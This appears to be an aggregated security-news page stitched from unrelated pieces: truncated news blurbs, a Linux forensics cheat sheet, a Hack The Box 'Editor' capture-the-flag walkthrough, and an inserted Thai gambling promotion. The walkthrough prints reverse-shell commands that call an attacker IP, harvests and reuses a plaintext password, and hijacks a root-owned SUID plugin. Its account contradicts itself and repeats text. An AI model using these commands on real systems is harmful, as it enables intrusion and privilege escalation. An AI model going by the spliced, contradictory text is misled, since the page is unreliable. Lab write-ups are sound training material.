A hidden danger has been lurking in the Go programming ecosystem for over four years. Security researchers from the Socket Threat Research Team have discovered two malicious software packages that impersonate popular Google tools. These fake packages, designed to trick busy developers, have been quietly stealing data since May 2021. The malicious packages are identified […]
Barts Health NHS Trust has disclosed a significant data breach affecting patient and staff information after the Cl0p ransomware gang exploited a critical vulnerability in Oracle E-Business Suite software. The criminal syndicate stole files from an invoice database. It published them on the dark web, compromising the personal data of individuals who received treatment or […]
Over 30 security vulnerabilities have been disclosed in various artificial intelligence (AI)-powered Integrated Development Environments (IDEs) that combine prompt injection primitives with legitimate features to achieve data exfiltration and remote code execution.
The security shortcomings have been collectively named IDEsaster by security researcher Ari Marzouk (MaccariTA). They affect popular
Linux is everywhere today. It runs web servers, powers many smartphones, and can even be found inside the infotainment systems of cars. A few reasons for its wide use are that Linux is open source, available in many different distributions, and can be tailored to run on both powerful servers and tiny embedded devices. It is lightweight, modular, and allows administrators to install only the pieces they need. Those qualities make Linux a core part of many organizations and of our daily digital lives. Attackers favour Linux as well. Besides being a common platform for their tools, many Linux hosts suffer from weak monitoring. Compromised machines are frequently used for reverse proxies, persistence, reconnaissance and other tasks, which increases the need for forensic attention. Linux itself is not inherently complex, but it can hide activity in many small places. In later articles we will dive deeper into what you can find on a Linux host during an investigation. Our goal across the series is to build a compact, reliable cheat sheet you can return to while handling an incident. The same approach applies to Windows investigations as well.
Today we will cover the basics of Linux forensics. For many incidents this level of detail will be enough to begin an investigation and perform initial response actions. Let’s start.
OS & Accounts
OS Release Information
The first thing to check is the distribution and release information. Different Linux distributions use different defaults, package managers and filesystem layouts. Knowing which one you are examining helps you predict where evidence or configuration will live.
bash> cat /etc/os-release
Common distributions and their typical uses include Debian and Ubuntu, which are widely used on servers and desktops. They are stable and well documented. RHEL and CentOS are mainly in enterprise environments with long-term support. Fedora offers cutting-edge features, Arch is rolling releases for experienced users, Alpine is very small and popular in containers. Security builds such as Kali or Parrot have pentesting toolsets. Kali contains many offensive tools that hackers use and is also useful for incident response in some cases.
Hostname
Record the system’s hostname early and keep a running list of hostnames you encounter. Hostnames help you map an asset to network records, correlate logs across systems, identify which machine was involved in an event, and reduce ambiguity when combining evidence from several sources.
bash> cat /etc/hostname
bash> hostname
Timezone
Timezone information gives a useful hint about the likely operating hours of the device and can help align timestamps with other systems. You can read the configured timezone with:
bash> cat /etc/timezone
User List
User accounts are central to persistence and lateral movement. Local accounts are recorded in /etc/passwd (account metadata and login shell) and /etc/shadow (hashed passwords and aging information). A malicious actor who wants persistent access may add an account or modify these files. To inspect the user list in a readable form, use:
bash> cat /etc/passwd | column -t -s :
You can also list users who are allowed interactive shells by filtering the shell field:
bash> cat /etc/passwd | grep -i 'ash'
Groups
Groups control access to shared resources. Group membership can reveal privilege escalation or lateral access. Group definitions are stored in /etc/group. View them with:
bash> cat /etc/group
Sudoers List
Users who can use sudo can escalate privileges. The main configuration file is /etc/sudoers, but configuration snippets may also exist under /etc/sudoers.d. Review both locations:
bash> ls -l /etc/sudoers.d/
bash> sudo cat /etc/sudoers
Login Information
The /var/log directory holds login-related records. Two important binary files are wtmp and btmp. The first one records successful logins and logouts over time, while btmp records failed login attempts. These are binary files and must be inspected with tools such as last (for wtmp) and lastb (for btmp), for example:
bash> sudo last -f /var/log/wtmp
bash> sudo lastb -f /var/log/btmp
System Configuration
Network Configuration
Network interface configuration can be stored in different places depending on the distribution and the network manager in use. On Debian-based systems you may see /etc/network/interfaces. For a quick look at configured interfaces, examine:
bash> cat /etc/network/interfaces
bash> ip a show
Active Network Connections
On a live system, active connections reveal current communications and can suggest where an attacker is connecting to or from. Traditional tools include netstat:
bash> netstat -natp
A modern alternative is ss -tulnp, which provides similar details and is usually available on newer systems.
Running Processes
Enumerating processes shows what is currently executing on the host and helps spot unexpected or malicious processes. Use ps for a snapshot or interactive tools for live inspection:
bash> ps aux
If available, top or htop give interactive views of CPU/memory and process trees.
DNS Information
DNS configuration is important because attackers sometimes alter name resolution to intercept or redirect traffic. Simple local overrides live in /etc/hosts. DNS server configuration is usually in /etc/resolv.conf. Often attackers might perform DNS poisoning or tampering to redirect victims to malicious services. Check the relevant files:
bash> cat /etc/hosts
bash> cat /etc/resolv.conf
Persistence Methods
There are many common persistence techniques on Linux. Examine scheduled tasks, services, user startup files and systemd units carefully.
Cron Jobs
Cron is often used for legitimate scheduled tasks, but attackers commonly use it for persistence because it’s simple and reliable. System-wide cron entries live in /etc/crontab, and individual service-style cron jobs can be placed under /etc/cron.d/. User crontabs are stored under /var/spool/cron/crontabs on many distributions. Listing system cron entries might look like:
bash> cat /etc/crontab
bash> ls /etc/cron.d/
bash> ls /var/spool/cron/crontabs
Many malicious actors prefer cron because it does not require deep system knowledge. A simple entry that runs a script periodically is often enough.
Services
Services or daemons start automatically and run in the background. Modern distributions use systemd units which are typically found under /etc/systemd/system or /lib/systemd/system, while older SysV-style scripts live in /etc/init.d/. A quick check of service scripts and unit files can reveal backdoors or unexpected startup items:
bash> ls /etc/init.d/
bash> systemctl list-unit-files --type=service
bash> ls /etc/systemd/system
.Bashrc and Shell Startup Files
Per-user shell startup files such as ~/.bashrc, ~/.profile, or ~/.bash_profile can be modified to execute commands when an interactive shell starts. Attackers sometimes add small one-liners that re-establish connections or drop a backdoor when a user logs in. The downside for attackers is that these files only execute for interactive shells. Services and non-interactive processes will not source them, so they are not a universal persistence method. Still, review each user’s shell startup files:
bash> cat ~/.bashrc
bash> cat ~/.profile
Evidence of Execution
Linux can offer attackers a lot of stealth, as logging can be disabled, rotated, or manipulated. When the system’s logging is intact, many useful artifacts remain. When it is not, you must rely on other sources such as filesystem timestamps, process state, and memory captures.
Bash History
Most shells record commands to a history file such as ~/.bash_history. This file can show what commands were used interactively by a user, but it is not a guaranteed record, as users or attackers can clear it, change HISTFILE, or disable history entirely. Collect each user’s history (including root) where available:
bash> cat ~/.bash_history
Tmux and other terminal multiplexers themselves normally don’t provide a persistent command log. Commands executed in a tmux session run in normal shell processes. Whether those commands are saved depends on the tmux configurations.
Commands Executed With Sudo
When a user runs commands with sudo, those events are typically logged in the authentication logs. You can grep for recorded COMMAND entries to see what privileged commands were executed:
bash> cat /var/log/auth.log* | grep -i COMMAND | less
Accessed Files With Vim
The Vim editor stores some local history and marks in a file named .viminfo in the user’s home directory. That file can include command-line history, search patterns and other useful traces of editing activity:
bash> cat ~/.viminfo
Log Files
Syslog
If the system logging service (for example, rsyslog or journald) is enabled and not tampered with, the files under /var/log are often the richest source of chronological evidence. The system log (syslog) records messages from many subsystems and services. Because syslog can become large, systems rotate older logs into files such as syslog.1, syslog.2.gz, and so on. Use shell wildcards and standard text tools to search through rotated logs efficiently:
bash> cat /var/log/syslog* | head
When reading syslog entries you will typically see a timestamp, the host name, the process producing the entry and a message. Look for unusual service failures, unexpected cron jobs running, or log entries from unknown processes.
Authentication Logs
Authentication activity, such as successful and failed logins, sudo attempts, SSH connections and PAM events are usually recorded in an authentication log such as /var/log/auth.log. Because these files can be large, use tools like grep, tail and less to focus on the relevant lines. For example, to find successful logins you run this:
bash> cat /var/log/auth.log | grep -ai accepted
Other Log Files
Many services keep their own logs under /var/log. Web servers, file-sharing services, mail daemons and other third-party software will have dedicated directories there. For example, Apache and Samba typically create subdirectories where you can inspect access and error logs:
bash> ls /var/log
bash> ls /var/log/apache2/
bash> ls /var/log/samba/
Conclusion
A steady, methodical sweep of the locations described above will give you a strong start in most Linux investigations. You start by verifying the OS, recording host metadata, enumerating users and groups, then you move to examining scheduled tasks and services, collecting relevant logs and history files. Always preserve evidence carefully and collect copies of volatile data when possible. In future articles we will expand on file system forensics, memory analysis and tools that make formal evidence collection and analysis easier.
In this write-up, we will explore the “Editor” machine from Hack The Box, categorised as an easy difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.
Objective:
The goal of this walkthrough is to complete the “Editor” machine from Hack The Box by achieving the following objectives:
User Flag:
Initial enumeration identifies an XWiki service on port 8080. The footer reveals the exact version, which is vulnerable to an unauthenticated Solr RCE (CVE-2025-24893). Running a public proof of concept provides a reverse shell as the xwiki service account. Exploring the installation directory reveals the hibernate.cfg.xml file, where plaintext database credentials are stored. These credentials are valid for the local user oliver as well. Using them for SSH access grants a stable shell as oliver, which makes it possible to read the user flag.
Root Flag:
Several plugin files are owned by root, set as SUID, and still group-writable. Since oliver belongs to the netdata group, these files can be modified directly. Additionally, this access allows a small SUID helper to be compiled and uploaded, which is then used to overwrite the ndsudo plugin. Afterwards, Netdata executes this plugin with root privileges during normal operation, and therefore, the replacement immediately forces the service to run the injected payload.
Enumerating the Machine
Reconnaissance:
Nmap Scan:
Begin with a network scan to identify open ports and running services on the target machine.
Port 22 (SSH): OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 – standard secure shell service for remote access.
Port 80 (HTTP): nginx 1.18.0 (Ubuntu) – web server acting as reverse proxy, redirects to http://editor.htb/.
Port 8080 (HTTP): Jetty 10.0.20 running XWiki – main application with WebDAV enabled, missing HttpOnly on JSESSIONID, and robots.txt exposing edit/save/delete paths.
What is XWiki?
XWiki is a free, open-source enterprise wiki platform written in Java. Think of it as a super-powered Wikipedia-style software that companies or teams install on their own servers to create internal knowledge bases, documentation sites, collaborative portals, etc.
Web Enumeration:
Web Application Exploration:
Perform web enumeration to discover potentially exploitable directories and files.
Landing on http://editor.htb, we’re greeted by the homepage of “SimplistCode Pro” – a sleek, modern web-based code editor that looks almost identical to VS Code, complete with Ace Editor, file tree, and integrated terminal.
Accessing http://10.10.11.180:8080/xwiki/bin/view/Main/ reveals the built-in XWiki documentation page for SimplistCode Pro – confirming the actual editor runs on an XWiki instance at port 8080.
After discovering that the web service on port 8080 is an XWiki instance and confirming the exact version 15.10.8 from the footer banner, we immediately searched for public exploits.
CVE-2025-24893: Unauthenticated Remote Code Execution in XWiki Platform
CVE-2025-24893 is a critical unauthenticated remote code execution (RCE) vulnerability in the XWiki Platform, an open-source enterprise wiki software. It allows any guest user (no login required) to execute arbitrary Groovy code on the server by sending a specially crafted request to the SolrSearch macro. This flaw stems from improper sandboxing and sanitisation of Groovy expressions in asynchronous macro rendering, enabling attackers to inject and execute malicious code via search parameters
This version is vulnerable to CVE-2025-24893 – an unauthenticated Remote Code Execution in the Solr search component via malicious Groovy templates.
Testing the exploit syntax first – the script help shows mandatory flags -t (target URL) and -c (command).
Setting up our listener with nc -lvnp 9007 to catch the reverse shell.
We launch the final exploit python3 CVE-2025-24893.py -t http://editor.htb:8080/ -c ‘bash -c “bash -i >/dev/tcp/10.10.14.189/9007 0>&1″‘ -e /bin/bash
Unfortunately, the CVE-2025-24893 exploit failed to pop a shell — no connection back to our listener—time to pivot and hunt for another path.
The exploit worked perfectly! Final command that popped the shell: python3 CVE-2025-24893.py -t http://editor.htb:8080/ -c ‘busybox nc 10.10.14.189 9007 -e /bin/bash’ The script injected Groovy code via the vulnerable Solr search endpoint, executed busybox nc … -e /bin/bash, and gave us our reverse shell as the xwiki system user.
Achieving Initial Foothold as xwiki User on Editor machine via CVE-2025-24893
Back on our attacker box, we fire up nc -lvnp 9007. Moments later, the listener catches a connection from 10.10.11.80:59508. Running id confirms we successfully landed as xwiki (uid=997) – the exact user running the XWiki Jetty instance. Initial foothold achieved!
The shell is raw and non-interactive. We immediately stabilize it: which python3 → /usr/bin/python3 python3 -c ‘import pty;pty.spawn(“/bin/bash”)’ Prompt changes to xwiki@editor:/usr/lib/xwiki-jetty$ – full TTY achieved, background color and everything.
Inside the limited shell as xwiki@editor, we see another user home directory called oliver. Attempting cd oliver instantly fails with Permission denied – no direct access yet, but we now know the real target user is oliver.
Quick enumeration with find / -name “xwiki” 2>/dev/null reveals all XWiki-related paths (config, data store, logs, webapps, etc.). Confirms we’re deep inside the actual XWiki installation running under Jetty.
ls in the same directory reveals the classic XWiki/Jetty config files, including the juicy hibernate.cfg.xml – this file almost always contains plaintext database credentials.
hibernate.cfg.xml credential reuse on editor machine
Full cat hibernate.cfg.xml confirms this is the real DB password used by the application. Classic misconfiguration: developers reuse the same password for the DB user and the system user oliver.
cat hibernate.cfg.xml | grep password instantly dumps multiple entries, and the first one is: theEd1t0rTeam99 Bingo – plaintext password for the XWiki database (and very often reused elsewhere).
While poking around /usr/lib/xwiki/WEB-INF/, we try su oliver and blindly guess the password theEd1t0rTeam99 (common pattern on HTB). It fails with an Authentication failure – wrong password, but we now know the exact target user is Oliver.
Attempting to SSH directly as xwiki@editor.htb results in “Permission denied, please try again.” (twice). Attackers cannot log in via password-based SSH because the xwiki system account lacks a valid password (a common setup for service accounts). We can only interact with the XWiki user via the reverse shell we already have from the CVE exploit. No direct SSH access here.
SSH as oliver
From our attacker box we can now SSH directly as oliver (optional, cleaner shell): ssh oliver@editor.htb → password theEd1t0rTeam99 → clean login
User flag successfully grabbed! We’re officially the oliver user and one step closer to root.
Escalate to Root Privileges Access on the Editor machine
Privilege Escalation:
Sorry, user oliver may not run sudo on editor. No passwordless sudo, no obvious entry in /etc/sudoers.
Only oliver’s normal processes visible: systemd user instance and our own bash/ps. No weird cronjobs, no suspicious parent processes. Confirms we need a deeper, non-obvious privesc vector.
After stabilising our shell as oliver, we immediately start hunting for privilege-escalation vectors. First, we run find / -perm 4000 2>/dev/null to enumerate SUID binaries – the output returns nothing interesting, instantly ruling out the classic GTFOBins path. To be thorough, we double-check find / -user root -perm 4000 2>/dev/null in case any root-owned SUIDs were missed, but the result is the same: no promising binaries. Straight-up SUID exploitation is off the table, so we pivot to deeper enumeration with LinPEAS and other techniques. Root will require a less obvious vector.
Linpeas Enumeration
Downloading LinPEAS into /dev/shm (tempfs, stays hidden and writable).
As oliver, we fire up LinPEAS in /dev/shm: ./linpeas.sh. The legendary green ASCII art confirms it’s running and scanning.
LinPEAS lights up the intended privesc path in bright red: a whole directory of Netdata plugins under /opt/netdata/usr/libexec/netdata/plugins.d/ are owned by root, belong to the netdata group, have the SUID bit set, and are writable by the group. Since groups oliver shows we’re in the netdata group, we can overwrite any of these binaries with our own malicious payload and instantly get a root shell the next time Netdata executes the plugin (which happens automatically every few seconds). Classic Netdata SUID misconfiguration, game over for root.
The key section “Files with Interesting Permissions” + “SUID – Check easy privesc” shows multiple Netdata plugins (like go.d.plugin, ndsudo, network-viewer.plugin, etc.) owned by root but executable/writable by the netdata group or others. Classic Netdata misconfiguration on HTB boxes.
Compiled locally with gcc dark.c -o nvme, this will be uploaded and used to overwrite one of the writable Netdata SUID plugins.
why Nvme?
We compile our SUID shell as nvme to specifically target the Netdata plugin ndsudo at /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo. This file is root-owned, SUID, belongs to the netdata group, and is group-writable. Since oliver is in the netdata group, we can overwrite it directly. Netdata periodically runs ndsudo as root, so replacing it with our payload triggers an instant root shell. The name nvme is short, harmless-looking, and doesn’t clash with real system binaries, making it the perfect stealthy replacement. Upload → overwrite ndsudo → wait a few seconds → root. Simple and deadly effective
curl our compiled nvme from the attacker machine → download complete
chmod +x nvme → make it executable. Temporarily prepend /dev/shm to PATH so we can test it locally
When testing our malicious nvme binary with the existing ndsudo plugin (/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list), it fails with “nvme : not available in PATH.” This is expected because we haven’t overwritten ndsudo yet—it’s still the original binary, and our nvme isn’t in the PATH for this test command. It’s a quick sanity check to confirm the setup before the real overwrite. Next, we’ll copy nvme directly over ndsudo to hijack it.
An ls in /dev/shm now shows nvme is missing — we already moved or deleted it during testing. No problem: we just re-download it with curl nvme, chmod +x nvme, and we’re back in business, ready for the final overwrite of ndsudo. Payload restored, stealth intact.
We re-download our malicious nvme, chmod +x it, prepend /dev/shm to PATH, and run the trigger command /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-listWe re-download our malicious nvme, chmod +x it, prepend /dev/shm to PATH, and run the trigger command /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
Root flag captured! With the Netdata plugin overwritten and triggered, we’ve spawned our SUID shell as root. Machine fully owned.
CISA, NSA, and Canadian Cyber Centre warn that PRC state-sponsored hackers are using BRICKSTORM, a stealthy Go-based backdoor, for long-term espionage in Government and IT networks.
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Friday formally added a critical security flaw impacting React Server Components (RSC) to its Known Exploited Vulnerabilities (KEV) catalog following reports of active exploitation in the wild.
The vulnerability, CVE-2025-55182 (CVSS score: 10.0), relates to a case of remote code execution that could be triggered by an
และหากใครกำลังมองหาข้อมูลเพิ่มเติมเกี่ยวกับระบบเกมยิงปลาออนไลน์ที่ปลอดภัย สามารถดูได้จาก Wikipedia – Fish Shooting Game เพื่อทำความเข้าใจเชิงลึกก่อนเริ่มเล่นจริง
Security teams worldwide are rushing to patch systems after the disclosure of a critical React vulnerability, CVE-2025-55182, widely known as “React2Shell.” The flaw affects React Server Components (RSC) and has a maximum CVSS score of 10, the highest possible rating, signaling critical impact and ease of exploitation. Censys telemetry shows that more than 2.15 million internet‑facing services are […]
A newly discovered Android banking trojan, FvncBot, has emerged as a sophisticated threat targeting mobile banking users in Poland. Researchers from Intel 471 first identified this malware on November 25, 2025, disguised as a security application from mBank, one of Poland’s most prominent banking institutions. Novel Malware with Advanced Capabilities FvncBot represents an entirely new […]
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